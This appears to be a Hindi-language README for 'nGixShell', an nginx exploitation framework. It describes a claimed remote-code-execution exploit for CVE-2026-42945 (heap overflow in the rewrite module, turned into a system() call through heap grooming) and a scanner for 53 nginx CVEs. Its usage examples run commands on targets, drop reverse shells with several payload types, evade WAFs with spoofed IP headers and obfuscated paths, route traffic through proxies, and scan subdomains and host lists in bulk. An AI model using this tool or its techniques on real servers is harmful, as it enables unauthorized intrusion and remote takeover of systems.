
nginx CVE स्कैनर + RCE शोषण ढाँचा (CVE-2026-42945 + 16 अन्य)
nGixShell एक nginx CVE स्कैनर और RCE एक्सप्लॉइट फ्रेमवर्क है। इसमें CVE-2026-42945 — ngx_http_rewrite_module में एक गंभीर हीप बफर ओवरफ़्लो — का एक कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट और 53 nginx CVEs को कवर करने वाला एक स्कैनर शामिल है, जिसमें स्वचालित HTTP प्रोब, फिंगरप्रिंटिंग, WAF डिटेक्शन/बायपास, वेब सुरक्षा ऑडिटिंग और रिपोर्ट जनरेशन शामिल है।
शून्य बाहरी निर्भरताएँ। शुद्ध Python 3 stdlib।
# असुरक्षित लैब शुरू करें
docker compose -f env/docker-compose.yml up -d
# ऑटो मोड — फिंगरप्रिंट + CVE स्कैन + वेब ऑडिट
python3 ngixshell.py 127.0.0.1:19321
# RCE के माध्यम से कमांड निष्पादित करें (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# रिवर्स शेल ड्रॉप करें (IP स्वचालित रूप से पहचाना जाता है)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF का पता लगाएँ और बायपास करें, फिर स्कैन करें
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# सबडोमेन स्कैन
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# फ़ाइल से एकाधिक लक्ष्य
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
किसी फ़्लैग की आवश्यकता नहीं — टूल को किसी लक्ष्य पर इंगित करने पर सब कुछ स्वचालित रूप से चलता है।
TLS स्वचालित रूप से पता चलता है। nginx server_tokens off होने पर भी फिंगरप्रिंट किया जाता है।
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET प्रारूप:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| फ़्लैग | विवरण |
|---|---|
--waf-detect | स्कैन करने से पहले WAF का पता लगाएँ |
--waf-bypass | सभी बायपास तकनीकों को सक्षम करें (डिटेक्शन भी चलता है) |
--waf-ip IP | बायपास हेडर में इस IP को स्पूफ करें (डिफ़ॉल्ट: यादृच्छिक RFC1918) |
बायपास तकनीकें (सभी सक्रिय जब --waf-bypass सेट हो):
पता लगाए गए WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
स्कैन मोड में स्वचालित रूप से चलता है। सभी मॉड्यूल को व्यक्तिगत रूप से छोड़ा जा सकता है।
/nginx_status से सक्रिय कनेक्शन मीट्रिक पार्स करता है| फ़्लैग | विवरण |
|---|---|
--port PORT | पोर्ट ओवरराइड करें |
--tls |
| फ़्लैग | विवरण |
|---|---|
--user-agent UA | कस्टम User-Agent |
--auth USER:PASS | HTTP बेसिक प्रमाणीकरण |
| फ़्लैग | विवरण |
|---|---|
--rate-limit RPS | अधिकतम अनुरोध प्रति सेकंड |
--jitter MS |
| फ़्लैग | विवरण |
|---|---|
--output FILE |
2009–2026 तक की 53 प्रविष्टियाँ। CVSS द्वारा क्रमबद्ध।
nginx की रीराइट स्क्रिप्ट इंजन दो-पास मॉडल का उपयोग करता है: बफर आकार की गणना करें, फिर कॉपी करें। is_args फ़्लैग मुख्य इंजन पर सेट होता है जब rewrite प्रतिस्थापन में ? होता है, लेकिन लंबाई-गणना पास ताज़ा शून्य किए गए उप-इंजन पर चलता है:
is_args = 0 देखता है → कच्ची कैप्चर लंबाई लौटाता हैis_args = 1 देखता है → ngx_escape_uri(NGX_ESCAPE_ARGS) को कॉल करता है, प्रत्येक असुरक्षित बाइट को 3 बाइट्स में विस्तारित करता हैकॉपी हमलावर-नियंत्रित URI डेटा के साथ अंडरसाइज़्ड हीप बफर को ओवरफ़्लो करती है। शोषण क्रॉस-अनुरोध हीप फेंग शुई के माध्यम से एक आसन्न ngx_pool_t क्लीनअप पॉइंटर को दूषित करता है, इसे एक नकली ngx_pool_cleanup_s पर रीडायरेक्ट करता है जो पूल विनाश पर system() को कॉल करता है।
| उत्पाद | असुरक्षित | सुरक्षित |
|---|---|---|
| NGINX ओपन सोर्स | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX प्लस | R32 – R36 | R36 P4, R35 P2, R32 P6 |
विक्रेता सलाह: https://my.f5.com/manage/s/article/K000160932
Ubuntu 24.04 LTS पर परीक्षण किया गया। Docker और Python 3.8+ की आवश्यकता है।
# असुरक्षित लैब शुरू करें (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# पूर्ण स्कैन
python3 ngixshell.py 127.0.0.1:19321
# JSON आउटपुट के साथ RCE
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# रिवर्स शेल — bash पेलोड, PTY स्वचालित अपग्रेड
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF बायपास स्कैन स्पूफ़ किए गए IP के साथ
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# SOCKS5 प्रॉक्सी के माध्यम से
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# दर सीमा के साथ सबडोमेन स्कैन
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# एकाधिक लक्ष्य, JSON आउटपुट, HTML रिपोर्ट
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
केवल अधिकृत सुरक्षा परीक्षण, CTF प्रतियोगिताओं और अनुसंधान के लिए।
| फ़्लैग | विवरण |
|---|
| (कोई नहीं) | ऑटो — फिंगरप्रिंट + CVE स्कैन + वेब ऑडिट |
--cmd 'CMD' | CVE-2026-42945 RCE के माध्यम से कमांड निष्पादित करें |
--cmd-file FILE | फ़ाइल से कमांड निष्पादित करें (; से जुड़े हुए) |
--shell | रिवर्स शेल ड्रॉप करें |
--shell-type TYPE | पेलोड: bash python perl php nc powershell (डिफ़ॉल्ट: python) |
--upgrade-shell | शेल कनेक्ट होने के बाद स्वचालित रूप से PTY अपग्रेड भेजें |
--subdomain-scan DOMAIN | सबडोमेन पर असुरक्षित nginx खोजें |
--cve CVE-ID | एक विशिष्ट CVE का परीक्षण करें |
--list-cves | सभी 53 CVEs को CVSS और प्रोब जानकारी के साथ प्रिंट करें |
--list-candidates | हीप एड्रेस उम्मीदवार प्रिंट करें |
--dry-run | केवल फिंगरप्रिंट + स्कैन, कोई एक्सप्लॉइट नहीं |
--target-file FILE | फ़ाइल से एकाधिक होस्ट स्कैन करें |
| तकनीक | विवरण |
|---|
| IP स्पूफिंग | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| UA रोटेशन | 11 वास्तविक ब्राउज़र/बॉट User-Agent, प्रति अनुरोध यादृच्छिक |
| पथ अस्पष्टता | डबल-स्लैश, /./ पैडिंग, प्रतिशत-एन्कोडिंग, केस वेरिएशन |
| हेडर केस शफ़ल | WAF पैटर्न मैचिंग को तोड़ने के लिए हेडर नाम के केस को यादृच्छिक करता है |
| फ़्लैग | विवरण |
|---|
--skip-headers | HTTP सुरक्षा हेडर ऑडिट छोड़ें |
--skip-paths | पथ/फ़ाइल खोज छोड़ें |
--skip-vhosts | वर्चुअल होस्ट गणना छोड़ें |
--skip-tls | TLS प्रोटोकॉल ऑडिट छोड़ें |
--path-wordlist FILE | जांचने के लिए अतिरिक्त पथ (प्रति पंक्ति एक) |
| TLS बलपूर्वक (डिफ़ॉल्ट रूप से स्वचालित रूप से पता चलता है) |
--proxy URL | प्रॉक्सी: http://, https://, socks5:// |
--cookie VALUE| Cookie हेडर |
--header NAME:VALUE | अतिरिक्त हेडर (दोहराया जा सकता है) |
| अनुरोधों के बीच 0–MS ms का यादृच्छिक विलंब |
--retry N | अनिर्णायक प्रोब को पुनः प्रयास करें (डिफ़ॉल्ट: 1) |
--timeout-multiplier X | सभी टाइमआउट को स्केल करें (डिफ़ॉल्ट: 1.0) |
| लॉग को FILE में लिखें |
--json | अंत में JSON सारांश प्रिंट करें |
--html-report [FILE] | HTML रिपोर्ट जनरेट करें (डिफ़ॉल्ट: ngixshell_<host>_<ts>.html) |
--verbose | डीबग आउटपुट |
| CVE | CVSS | घटक | विवरण |
|---|
| CVE-2026-42945 | 9.8 CRITICAL | rewrite | हीप ओवरफ़्लो → RCE (exploited) |
| CVE-2026-42946 | 8.1 HIGH | rewrite | मेमोरी करप्शन (एक ही सलाह) |
| CVE-2022-41741 | 7.8 HIGH | mp4 | दुर्भावनापूर्ण mp4 के माध्यम से मेमोरी करप्शन |
| CVE-2016-1247 | 7.8 HIGH | पैकेजिंग | लॉग फ़ाइल सिमलिंक विशेषाधिकार वृद्धि |
| CVE-2021-23017 | 7.7 HIGH | रिज़ॉल्वर | ऑफ-बाय-वन हीप ओवरराइट |
| CVE-2026-40701 | 7.5 HIGH | अनुरोध | अनुरोध प्रसंस्करण में मेमोरी करप्शन |
| CVE-2026-42934 | 7.5 HIGH | अनुरोध | मेमोरी करप्शन (एक ही सलाह) |
| CVE-2026-27784 | 7.5 HIGH | mp4 | क्राफ्टेड mp4 के माध्यम से बफर ओवरफ़्लो |
| CVE-2026-32647 | 7.5 HIGH | mp4 | बफर ओवरफ़्लो (ऊपर का सहोदर) |
| CVE-2024-24990 | 7.5 HIGH | HTTP/3 | QUIC मॉड्यूल में उपयोग-के-बाद-मुक्त |
| CVE-2024-24989 | 7.5 HIGH | HTTP/3 | QUIC में NULL पॉइंटर डीरेफरेंस |
| CVE-2024-31079 | 7.5 HIGH | HTTP/3 | QUIC एनकोडर में स्टैक ओवरफ़्लो |
| CVE-2024-32760 | 7.5 HIGH | HTTP/3 | HEADERS फ्रेम के माध्यम से बफर ओवरराइट |
| CVE-2022-41742 | 7.5 HIGH | mp4 | हीप मेमोरी प्रकटीकरण |
| CVE-2017-7529 | 7.5 HIGH | रेंज फ़िल्टर | पूर्णांक ओवरफ़्लो → सीमा-से-बाहर पढ़ना |
| CVE-2016-0746 | 7.5 HIGH | रिज़ॉल्वर | क्राफ्टेड DNS प्रतिक्रिया के माध्यम से उपयोग-के-बाद-मुक्त |
| CVE-2014-0133 | 7.5 HIGH | SPDY | SPDY कार्यान्वयन में हीप ओवरफ़्लो |
| CVE-2014-0088 | 7.5 HIGH | SPDY | SPDY में मेमोरी करप्शन |
| CVE-2013-4547 | 7.5 HIGH | कोर | Space+NUL URI बायपास |
| CVE-2013-2028 | 7.5 HIGH | कोर | चंक्ड एन्कोडिंग स्टैक ओवरफ़्लो |
| CVE-2012-1180 | 7.5 HIGH | प्रॉक्सी | प्रॉक्सी मॉड्यूल में उपयोग-के-बाद-मुक्त |
| CVE-2009-3555 | 7.5 HIGH | SSL | TLS पुनर्वार्ता इंजेक्शन (MITM) |
| CVE-2009-2629 | 7.5 HIGH | कोर | URI पार्सिंग में बफर अंडरफ़्लो |
| CVE-2026-42926 | 6.5 MEDIUM | HTTP/2 | प्रॉक्सी के माध्यम से अनुरोध विभाजन |
| CVE-2026-27654 | 6.5 MEDIUM | WebDAV | DAV मॉड्यूल में हीप ओवरफ़्लो |
| CVE-2026-28753 | 6.5 MEDIUM | मेल | मेल प्रॉक्सी में हेडर इंजेक्शन |
| CVE-2026-1642 | 6.5 MEDIUM | प्रॉक्सी | SSL अपस्ट्रीम सत्र पुन: उपयोग लीक |
| CVE-2019-9511 | 6.5 MEDIUM | HTTP/2 | डेटा ड्रिबल CPU/मेमोरी DoS |
| CVE-2012-2089 | 6.8 MEDIUM | mp4 | mp4 अनुरोध के माध्यम से बफर ओवरफ़्लो |
| CVE-2018-16845 | 5.5 MEDIUM | mp4 | पूर्णांक अंडरफ़्लो → क्रैश + प्रकटीकरण |
| CVE-2019-20372 | 5.3 MEDIUM | प्रॉक्सी | HTTP अनुरोध तस्करी |
| CVE-2026-40460 | 5.3 MEDIUM | HTTP/3 | QUIC कनेक्शन स्पूफिंग |
| CVE-2026-28755 | 5.3 MEDIUM | SSL | OCSP प्रसंस्करण में मेमोरी प्रकटीकरण |
| CVE-2025-23419 | 5.3 MEDIUM | SSL | TLS सत्र पुन: शुरू प्रमाणपत्र बायपास |
| CVE-2024-35200 | 5.3 MEDIUM | HTTP/3 | NULL पॉइंटर डीरेफरेंस |
| CVE-2024-34161 | 5.3 MEDIUM | HTTP/3 | मेमोरी प्रकटीकरण |
| CVE-2016-4450 | 5.3 MEDIUM | कोर | चंक्ड अनुरोध बॉडी के माध्यम से NULL पॉइंटर |
| CVE-2016-0742 | 5.0 MEDIUM | रिज़ॉल्वर | क्राफ्टेड UDP पैकेट के माध्यम से अमान्य पॉइंटर |
| CVE-2016-0747 | 5.0 MEDIUM | रिज़ॉल्वर | अपर्याप्त CNAME रिज़ॉल्यूशन सीमा |
| CVE-2014-3556 | 5.0 MEDIUM | मेल | STARTTLS कमांड इंजेक्शन |
| CVE-2013-2070 | 5.3 MEDIUM | प्रॉक्सी | बैकएंड प्रतिक्रिया प्रकटीकरण |
| CVE-2011-4963 | 5.0 MEDIUM | एक्सेस | IPv6 लिटरल एक्सेस नियंत्रण बायपास |
| CVE-2011-4315 | 5.0 MEDIUM | रिज़ॉल्वर | क्राफ्टेड DNS प्रतिक्रिया के माध्यम से हीप ओवरफ़्लो |
| CVE-2009-3896 | 5.0 MEDIUM | कोर | NULL पॉइंटर डीरेफरेंस DoS |
| CVE-2025-53859 | 4.3 MEDIUM | मेल | SMTP कमांड इंजेक्शन |
| CVE-2014-3616 | 4.3 MEDIUM | SSL | TLS SNI वर्चुअल होस्ट भ्रम |
| CVE-2026-27651 | 4.3 MEDIUM | मेल | मेल प्रॉक्सी में NULL पॉइंटर डीरेफरेंस |
| CVE-2019-9513 | 4.3 MEDIUM | HTTP/2 | रिसोर्स लूप CPU DoS |
| CVE-2019-9516 | 4.3 MEDIUM | HTTP/2 | 0-लेंथ हेडर मेमोरी थकावट |
| CVE-2018-16843 | 4.3 MEDIUM | HTTP/2 | अत्यधिक मेमोरी खपत |
| CVE-2018-16844 | 4.3 MEDIUM | HTTP/2 | SETTINGS फ्रेम के माध्यम से अत्यधिक CPU |
| CVE-2024-7347 | 4.7 MEDIUM | mp4 | सीमा-से-बाहर पढ़ना |
| CVE-2009-3898 | 4.9 MEDIUM | WebDAV | COPY/MOVE के माध्यम से निर्देशिका ट्रैवर्सल |